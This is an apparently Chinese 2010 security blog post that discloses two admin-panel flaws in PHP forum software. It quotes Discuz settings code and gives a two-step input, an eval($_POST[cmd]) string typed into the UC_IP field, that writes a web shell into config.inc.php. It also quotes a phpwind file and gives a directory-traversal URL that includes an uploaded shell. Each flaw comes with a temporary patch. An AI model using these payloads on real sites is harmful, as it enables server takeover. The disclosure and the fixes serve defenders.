DEDE如何调用phpw
UCenter（UC ）
2010/09/03 00:27 | by 多人有了，流传出来了，然后发出来。现在的漏洞，如果主动公布的，肯定是“无鸡肋不公布”，否则肯定是藏着，除非别人公布了。DZ的鸡肋在于需要创建者的权限（创建者的密码一般比较难搞），pw的鸡肋在于需要截断（或者linux旁注写一个shell到tmp下）。
一、discuz后台settings.inc.php中写shell漏洞：
PHP代码
- if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {
- $ucdbpassnew = $settingsnew['uc']['dbpass'] == '********' ? UC_DBPW : $settingsnew['uc']['dbpass'];
- if($settingsnew['uc']['connect']) {
- $uc_dblink = @mysql_connect($settingsnew['uc']['dbhost'], $settingsnew['uc']['dbuser'], $ucdbpassnew, 1);
- if(!$uc_dblink) {
- cpmsg('uc_database_connect_error', '', 'error');
- } else {
- mysql_close($uc_dblink);
- }
- }
- $fp = fopen('./config.inc.php', 'r');
- $configfile = fread($fp, filesize('./config.inc.php'));
- $configfile = trim($configfile);
- $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
- fclose($fp);
- $connect = '';
- if($settingsnew['uc']['connect']) {
- require './config.inc.php';
- $connect = 'mysql';
- $samelink = ($dbhost == $settingsnew['uc']['dbhost'] && $dbuser == $settingsnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);
- $samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');
- $configfile = insertconfig($configfile, "/define\('UC_DBHOST',\s*'.*?'\);/i", "define('UC_DBHOST', '".$settingsnew['uc']['dbhost']."');");//正则表示从'到')中的被替换，而')可以被任意提交，from oldjun.com
- $configfile = insertconfig($configfile, "/define\('UC_DBUSER',\s*'.*?'\);/i", "define('UC_DBUSER', '".$settingsnew['uc']['dbuser']."');");
- $configfile = insertconfig($configfile, "/define\('UC_DBPW',\s*'.*?'\);/i", "define('UC_DBPW', '".$ucdbpassnew."');");
- $configfile = insertconfig($configfile, "/define\('UC_DBNAME',\s*'.*?'\);/i", "define('UC_DBNAME', '".$settingsnew['uc']['dbname']."');");
- $configfile = insertconfig($configfile, "/define\('UC_DBTABLEPRE',\s*'.*?'\);/i", "define('UC_DBTABLEPRE', '`".$settingsnew['uc']['dbname'].'`.'.$settingsnew['uc']['dbtablepre']."');");
- //$configfile = insertconfig($configfile, "/define\('UC_LINK',\s*'?.*?'?\);/i", "define('UC_LINK', ".($samelink && $samecharset ? 'TRUE' : 'FALSE').");");
- }
- $configfile = insertconfig($configfile, "/define\('UC_CONNECT',\s*'.*?'\);/i", "define('UC_CONNECT', '$connect');");
- $configfile = insertconfig($configfile, "/define\('UC_KEY',\s*'.*?'\);/i", "define('UC_KEY', '".$settingsnew['uc']['key']."');");
- $configfile = insertconfig($configfile, "/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".$settingsnew['uc']['api']."');");
- $configfile = insertconfig($configfile, "/define\('UC_IP',\s*'.*?'\);/i", "define('UC_IP', '".$settingsnew['uc']['ip']."');");
- $configfile = insertconfig($configfile, "/define\('UC_APPID',\s*'?.*?'?\);/i", "define('UC_APPID', '".$settingsnew['uc']['appid']."');");
- $fp = fopen('./config.inc.php', 'w');
- if(!($fp = @fopen('./config.inc.php', 'w'))) {
- cpmsg('uc_config_write_error', '', 'error');
- }
- @fwrite($fp, trim($configfile));
- @fclose($fp);
- }
漏洞详情：
settings.inc.php对提交的数据缺乏有效过滤，导致可以写入')污染配置文件的数据，而insertconfig函数的则匹配无法正确匹配到最后，导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件。
PHP代码
- function insertconfig($s, $find, $replace) {
- if(preg_match($find, $s)) {
- $s = preg_replace($find, $replace, $s);//正则匹配替换数据
- } else {
- $s .= "\r\n".$replace;
- }
- return $s;
- }
漏洞测试：
步骤一：UC_IP(UC_IP是可选项，随便写入一般不影响程序运行)中写入污染数据：xxx');eval($_POST[cmd])?>提交；
步骤二：UC_IP随便输入aaa，正则匹配只匹配到了')，于是自动把分号前的闭合了。
临时补丁：
在if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {下添加：
PHP代码
- foreach($settingsnew['uc'] as $key => $value){
- $settingsnew['uc'][$key]=str_replace(')','',$value);
- }
二、phpwind后台本地包含漏洞：
漏洞详情：
文件：hack\rate\admin.php
源码：
PHP代码
- <?php
- !function_exists('readover') && exit('Forbidden');
- define ( "H_R", R_P . "hack/rate/" );
- define ( "L_R", R_P . "lib/" );
- InitGP ( array ('ajax' ) );
- $action = strtolower ( ($job) ? $job : "admin" );
- $filepath = H_R . "action/" . $action . "Action.php";
- (! file_exists ( $filepath )) && exit ();
- if ($job != "ajax") {
- require H_R . '/template/layout.php';
- } else {
- require_once $filepath;
- }
- ?>
$job可以自定义，触发本地包含，只不过addslashes了，因此不能通过%00截断；但可以通过若干///////截断，或者直接在tmp文件夹下写个shell来包含。具体不多说了，利用办法：
漏洞测试：
先在tmp下上传一个shell，名为Action.php
然后访问：http://127.0.0.1/pw/admin.php?adminjob=hack&hackset=rate&typeid=100&job=../../../../../../tmp/
临时补丁：
PHP代码
- $filepath = H_R . "action/" . $action . "Action.php";
替换为：
PHP代码
- $filepath = Pcv(H_R . "action/" . $action . "Action.php");
